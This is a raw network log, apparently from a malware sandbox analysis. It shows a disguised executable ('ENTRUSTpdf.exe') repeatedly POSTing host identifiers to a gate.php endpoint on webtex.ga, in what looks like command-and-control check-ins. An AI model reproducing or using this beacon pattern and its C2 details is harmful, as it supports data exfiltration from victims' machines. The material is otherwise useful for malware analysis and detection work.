Dec 3, 2020 10:04:04.714380026 CET	4825	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 68 00 61 00 72 00 64 00 7a 00 01 00 0c 00 00 00 34 00 33 00 36 00 34 00 33 00 32 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 00 37 Data Ascii: (ckav.ruhardz436432DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Dec 3, 2020 10:04:04.758395910 CET	4825	IN	HTTP/1.0 404 Not Found Date: Thu, 03 Dec 2020 07:06:22 GMT Server: Apache X-Powered-By: PHP/5.6.40 Status: 404 Not Found Content-Length: 23 Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
238	192.168.2.3	49981	47.91.79.163	80	C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe

Timestamp	kBytes transferred	Direction	Data
Dec 3, 2020 10:04:04.963596106 CET	4826	OUT	POST /ibiki/gate.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: webtex.ga Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 31904CD2 Content-Length: 163 Connection: close
Dec 3, 2020 10:04:04.980304956 CET	4826	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 68 00 61 00 72 00 64 00 7a 00 01 00 0c 00 00 00 34 00 33 00 36 00 34 00 33 00 32 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 00 37 Data Ascii: (ckav.ruhardz436432DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Dec 3, 2020 10:04:05.025183916 CET	4827	IN	HTTP/1.0 404 Not Found Date: Thu, 03 Dec 2020 07:06:22 GMT Server: Apache X-Powered-By: PHP/5.6.40 Status: 404 Not Found Content-Length: 23 Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
239	192.168.2.3	49982	47.91.79.163	80	C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe

Timestamp	kBytes transferred	Direction	Data
Dec 3, 2020 10:04:05.247695923 CET	4827	OUT	POST /ibiki/gate.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: webtex.ga Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 31904CD2 Content-Length: 163 Connection: close
Dec 3, 2020 10:04:05.264355898 CET	4828	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 68 00 61 00 72 00 64 00 7a 00 01 00 0c 00 00 00 34 00 33 00 36 00 34 00 33 00 32 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 00 37 Data Ascii: (ckav.ruhardz436432DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Dec 3, 2020 10:04:05.306277037 CET	4828	IN	HTTP/1.0 404 Not Found Date: Thu, 03 Dec 2020 07:06:22 GMT Server: Apache X-Powered-By: PHP/5.6.40 Status: 404 Not Found Content-Length: 23 Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
24	192.168.2.3	49735	47.91.79.163	80	C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe

Timestamp	kBytes transferred	Direction	Data
Dec 3, 2020 10:02:39.538012981 CET	110	OUT	POST /ibiki/gate.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: webtex.ga Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 31904CD2 Content-Length: 163 Connection: close
Dec 3, 2020 10:02:39.554655075 CET	110	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 68 00 61 00 72 00 64 00 7a 00 01 00 0c 00 00 00 34 00 33 00 36 00 34 00 33 00 32 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 00 37 Data Ascii: (ckav.ruhardz436432DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Dec 3, 2020 10:02:39.596359015 CET	111	IN	HTTP/1.0 404 Not Found Date: Thu, 03 Dec 2020 07:04:56 GMT Server: Apache X-Powered-By: PHP/5.6.40 Status: 404 Not Found Content-Length: 23 Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
240	192.168.2.3	49983	47.91.79.163	80	C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe

Timestamp	kBytes transferred	Direction	Data
Dec 3, 2020 10:04:05.532497883 CET	4829	OUT	POST /ibiki/gate.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: webtex.ga Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 31904CD2 Content-Length: 163 Connection: close
Dec 3, 2020 10:04:05.549261093 CET	4829	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 68 00 61 00 72 00 64 00 7a 00 01 00 0c 00 00 00 34 00 33 00 36 00 34 00 33 00 32 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 00 37 Data Ascii: (ckav.ruhardz436432DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Dec 3, 2020 10:04:05.593427896 CET	4829	IN	HTTP/1.0 404 Not Found Date: Thu, 03 Dec 2020 07:06:22 GMT Server: Apache X-Powered-By: PHP/5.6.40 Status: 404 Not Found Content-Length: 23 Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
241	192.168.2.3	49984	47.91.79.163	80	C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe

Timestamp	kBytes transferred	Direction	Data
Dec 3, 2020 10:04:05.820292950 CET	4830	OUT	POST /ibiki/gate.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: webtex.ga Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 31904CD2 Content-Length: 163 Connection: close
Dec 3, 2020 10:04:05.837169886 CET	4830	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 68 00 61 00 72 00 64 00 7a 00 01 00 0c 00 00 00 34 00 33 00 36 00 34 00 33 00 32 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 00 37 Data Ascii: (ckav.ruhardz436432DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Dec 3, 2020 10:04:05.895039082 CET	4831	IN	HTTP/1.0 404 Not Found Date: Thu, 03 Dec 2020 07:06:23 GMT Server: Apache X-Powered-By: PHP/5.6.40 Status: 404 Not Found Content-Length: 23 Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
242	192.168.2.3	49985	47.91.79.163	80	C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe

Timestamp	kBytes transferred	Direction	Data
Dec 3, 2020 10:04:06.123172998 CET	4832	OUT	POST /ibiki/gate.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: webtex.ga Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 31904CD2 Content-Length: 163 Connection: close
Dec 3, 2020 10:04:06.139894962 CET	4832	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 68 00 61 00 72 00 64 00 7a 00 01 00 0c 00 00 00 34 00 33 00 36 00 34 00 33 00 32 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 00 37 Data Ascii: (ckav.ruhardz436432DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Dec 3, 2020 10:04:06.183387995 CET	4832	IN	HTTP/1.0 404 Not Found Date: Thu, 03 Dec 2020 07:06:23 GMT Server: Apache X-Powered-By: PHP/5.6.40 Status: 404 Not Found Content-Length: 23 Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
243	192.168.2.3	49986	47.91.79.163	80	C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe

Timestamp	kBytes transferred	Direction	Data
Dec 3, 2020 10:04:06.401191950 CET	4833	OUT	POST /ibiki/gate.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: webtex.ga Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 31904CD2 Content-Length: 163 Connection: close
Dec 3, 2020 10:04:06.417982101 CET	4833	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 68 00 61 00 72 00 64 00 7a 00 01 00 0c 00 00 00 34 00 33 00 36 00 34 00 33 00 32 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 00 37 Data Ascii: (ckav.ruhardz436432DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Dec 3, 2020 10:04:06.462903023 CET	4834	IN	HTTP/1.0 404 Not Found Date: Thu, 03 Dec 2020 07:06:23 GMT Server: Apache X-Powered-By: PHP/5.6.40 Status: 404 Not Found Content-Length: 23 Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
244	192.168.2.3	49987	47.91.79.163	80	C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe

Timestamp	kBytes transferred	Direction	Data
Dec 3, 2020 10:04:06.688484907 CET	4834	OUT	POST /ibiki/gate.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: webtex.ga Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 31904CD2 Content-Length: 163 Connection: close
Dec 3, 2020 10:04:06.705252886 CET	4835	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 68 00 61 00 72 00 64 00 7a 00 01 00 0c 00 00 00 34 00 33 00 36 00 34 00 33 00 32 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 00 37 Data Ascii: (ckav.ruhardz436432DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Dec 3, 2020 10:04:06.751386881 CET	4835	IN	HTTP/1.0 404 Not Found Date: Thu, 03 Dec 2020 07:06:23 GMT Server: Apache X-Powered-By: PHP/5.6.40 Status: 404 Not Found Content-Length: 23 Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
245	192.168.2.3	49988	47.91.79.163	80	C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe

Timestamp	kBytes transferred	Direction	Data
Dec 3, 2020 10:04:07.003231049 CET	4836	OUT	POST /ibiki/gate.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: webtex.ga Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 31904CD2 Content-Length: 163 Connection: close
Dec 3, 2020 10:04:07.020004034 CET	4836	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 68 00 61 00 72 00 64 00 7a 00 01 00 0c 00 00 00 34 00 33 00 36 00 34 00 33 00 32 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 00 37 Data Ascii: (ckav.ruhardz436432DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Dec 3, 2020 10:04:07.064445972 CET	4836	IN	HTTP/1.0 404 Not Found Date: Thu, 03 Dec 2020 07:06:24 GMT Server: Apache X-Powered-By: PHP/5.6.40 Status: 404 Not Found Content-Length: 23 Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
246	192.168.2.3	49989	47.91.79.163	80	C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe

Timestamp	kBytes transferred	Direction	Data
Dec 3, 2020 10:04:07.279062033 CET	4837	OUT	POST /ibiki/gate.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: webtex.ga Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 31904CD2 Content-Length: 163 Connection: close
Dec 3, 2020 10:04:07.295811892 CET	4837	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 68 00 61 00 72 00 64 00 7a 00 01 00 0c 00 00 00 34 00 33 00 36 00 34 00 33 00 32 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 00 37 Data Ascii: (ckav.ruhardz436432DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Dec 3, 2020 10:04:07.338927031 CET	4838	IN	HTTP/1.0 404 Not Found Date: Thu, 03 Dec 2020 07:06:24 GMT Server: Apache X-Powered-By: PHP/5.6.40 Status: 404 Not Found Content-Length: 23 Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
247	192.168.2.3	49990	47.91.79.163	80	C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe

Timestamp	kBytes transferred	Direction	Data
Dec 3, 2020 10:04:07.573982000 CET	4838	OUT	POST /ibiki/gate.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: webtex.ga Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 31904CD2 Content-Length: 163 Connection: close
Dec 3, 2020 10:04:07.590528011 CET	4839	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 68 00 61 00 72 00 64 00 7a 00 01 00 0c 00 00 00 34 00 33 00 36 00 34 00 33 00 32 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 00 37 Data Ascii: (ckav.ruhardz436432DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Dec 3, 2020 10:04:07.634059906 CET	4839	IN	HTTP/1.0 404 Not Found Date: Thu, 03 Dec 2020 07:06:24 GMT Server: Apache X-Powered-By: PHP/5.6.40 Status: 404 Not Found Content-Length: 23 Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
248	192.168.2.3	49991	47.91.79.163	80	C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe

Timestamp	kBytes transferred	Direction	Data
Dec 3, 2020 10:04:07.858334064 CET	4840	OUT	POST /ibiki/gate.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: webtex.ga Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 31904CD2 Content-Length: 163 Connection: close
Dec 3, 2020 10:04:07.874901056 CET	4840	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 68 00 61 00 72 00 64 00 7a 00 01 00 0c 00 00 00 34 00 33 00 36 00 34 00 33 00 32 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 00 37 Data Ascii: (ckav.ruhardz436432DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Dec 3, 2020 10:04:08.050302982 CET	4840	IN	HTTP/1.0 404 Not Found Date: Thu, 03 Dec 2020 07:06:25 GMT Server: Apache X-Powered-By: PHP/5.6.40 Status: 404 Not Found Content-Length: 23 Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
249	192.168.2.3	49992	47.91.79.163	80	C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe

Timestamp	kBytes transferred	Direction	Data
Dec 3, 2020 10:04:08.266673088 CET	4841	OUT	POST /ibiki/gate.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: webtex.ga Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 31904CD2 Content-Length: 163 Connection: close
Dec 3, 2020 10:04:08.283179045 CET	4841	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 68 00 61 00 72 00 64 00 7a 00 01 00 0c 00 00 00 34 00 33 00 36 00 34 00 33 00 32 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 00 37 Data Ascii: (ckav.ruhardz436432DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Dec 3, 2020 10:04:08.326611996 CET	4842	IN	HTTP/1.0 404 Not Found Date: Thu, 03 Dec 2020 07:06:25 GMT Server: Apache X-Powered-By: PHP/5.6.40 Status: 404 Not Found Content-Length: 23 Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
25	192.168.2.3	49736	47.91.79.163	80	C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe

Timestamp	kBytes transferred	Direction	Data
Dec 3, 2020 10:02:39.856527090 CET	114	OUT	POST /ibiki/gate.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: webtex.ga Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 31904CD2 Content-Length: 163 Connection: close
Dec 3, 2020 10:02:39.873260021 CET	114	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 68 00 61 00 72 00 64 00 7a 00 01 00 0c 00 00 00 34 00 33 00 36 00 34 00 33 00 32 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 00 37 Data Ascii: (ckav.ruhardz436432DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Dec 3, 2020 10:02:39.914695024 CET	114	IN	HTTP/1.0 404 Not Found Date: Thu, 03 Dec 2020 07:04:57 GMT Server: Apache X-Powered-By: PHP/5.6.40 Status: 404 Not Found Content-Length: 23 Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
250	192.168.2.3	49993	47.91.79.163	80	C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe

Timestamp	kBytes transferred	Direction	Data
Dec 3, 2020 10:04:08.547826052 CET	4844	OUT	POST /ibiki/gate.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: webtex.ga Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 31904CD2 Content-Length: 163 Connection: close
Dec 3, 2020 10:04:08.564414978 CET	4844	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 68 00 61 00 72 00 64 00 7a 00 01 00 0c 00 00 00 34 00 33 00 36 00 34 00 33 00 32 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 00 37 Data Ascii: (ckav.ruhardz436432DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Dec 3, 2020 10:04:08.606347084 CET	4844	IN	HTTP/1.0 404 Not Found Date: Thu, 03 Dec 2020 07:06:25 GMT Server: Apache X-Powered-By: PHP/5.6.40 Status: 404 Not Found Content-Length: 23 Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
251	192.168.2.3	49995	47.91.79.163	80	C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe

Timestamp	kBytes transferred	Direction	Data
Dec 3, 2020 10:04:08.827517986 CET	4846	OUT	POST /ibiki/gate.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: webtex.ga Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 31904CD2 Content-Length: 163 Connection: close
Dec 3, 2020 10:04:08.844466925 CET	4846	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 68 00 61 00 72 00 64 00 7a 00 01 00 0c 00 00 00 34 00 33 00 36 00 34 00 33 00 32 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 00 37 Data Ascii: (ckav.ruhardz436432DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Dec 3, 2020 10:04:08.888386965 CET	4846	IN	HTTP/1.0 404 Not Found Date: Thu, 03 Dec 2020 07:06:26 GMT Server: Apache X-Powered-By: PHP/5.6.40 Status: 404 Not Found Content-Length: 23 Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
252	192.168.2.3	49996	47.91.79.163	80	C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe

Timestamp	kBytes transferred	Direction	Data
Dec 3, 2020 10:04:09.106498003 CET	4854	OUT	POST /ibiki/gate.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: webtex.ga Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 31904CD2 Content-Length: 163 Connection: close
Dec 3, 2020 10:04:09.123363018 CET	4854	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 68 00 61 00 72 00 64 00 7a 00 01 00 0c 00 00 00 34 00 33 00 36 00 34 00 33 00 32 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 00 37 Data Ascii: (ckav.ruhardz436432DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Dec 3, 2020 10:04:09.171283960 CET	4855	IN	HTTP/1.0 404 Not Found Date: Thu, 03 Dec 2020 07:06:26 GMT Server: Apache X-Powered-By: PHP/5.6.40 Status: 404 Not Found Content-Length: 23 Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
253	192.168.2.3	49997	47.91.79.163	80	C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe

Timestamp	kBytes transferred	Direction	Data
Dec 3, 2020 10:04:09.374098063 CET	4859	OUT	POST /ibiki/gate.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: webtex.ga Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 31904CD2 Content-Length: 163 Connection: close
Dec 3, 2020 10:04:09.390839100 CET	4860	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 68 00 61 00 72 00 64 00 7a 00 01 00 0c 00 00 00 34 00 33 00 36 00 34 00 33 00 32 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 00 37 Data Ascii: (ckav.ruhardz436432DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Dec 3, 2020 10:04:09.432904005 CET	4861	IN	HTTP/1.0 404 Not Found Date: Thu, 03 Dec 2020 07:06:26 GMT Server: Apache X-Powered-By: PHP/5.6.40 Status: 404 Not Found Content-Length: 23 Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
254	192.168.2.3	49999	47.91.79.163	80	C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe

Timestamp	kBytes transferred	Direction	Data
Dec 3, 2020 10:04:09.662563086 CET	4862	OUT	POST /ibiki/gate.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: webtex.ga Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 31904CD2 Content-Length: 163 Connection: close
Dec 3, 2020 10:04:09.679286003 CET	4863	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 68 00 61 00 72 00 64 00 7a 00 01 00 0c 00 00 00 34 00 33 00 36 00 34 00 33 00 32 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 00 37 Data Ascii: (ckav.ruhardz436432DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Dec 3, 2020 10:04:09.725847006 CET	4863	IN	HTTP/1.0 404 Not Found Date: Thu, 03 Dec 2020 07:06:26 GMT Server: Apache X-Powered-By: PHP/5.6.40 Status: 404 Not Found Content-Length: 23 Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
255	192.168.2.3	50000	47.91.79.163	80	C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe

Timestamp	kBytes transferred	Direction	Data
Dec 3, 2020 10:04:09.951987982 CET	4869	OUT	POST /ibiki/gate.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: webtex.ga Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 31904CD2 Content-Length: 163 Connection: close
Dec 3, 2020 10:04:09.968727112 CET	4869	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 68 00 61 00 72 00 64 00 7a 00 01 00 0c 00 00 00 34 00 33 00 36 00 34 00 33 00 32 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 00 37 Data Ascii: (ckav.ruhardz436432DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Dec 3, 2020 10:04:10.009026051 CET	4872	IN	HTTP/1.0 404 Not Found Date: Thu, 03 Dec 2020 07:06:27 GMT Server: Apache X-Powered-By: PHP/5.6.40 Status: 404 Not Found Content-Length: 23 Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
256	192.168.2.3	50001	47.91.79.163	80	C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe

Timestamp	kBytes transferred	Direction	Data
Dec 3, 2020 10:04:10.243520021 CET	4876	OUT	POST /ibiki/gate.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: webtex.ga Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 31904CD2 Content-Length: 163 Connection: close
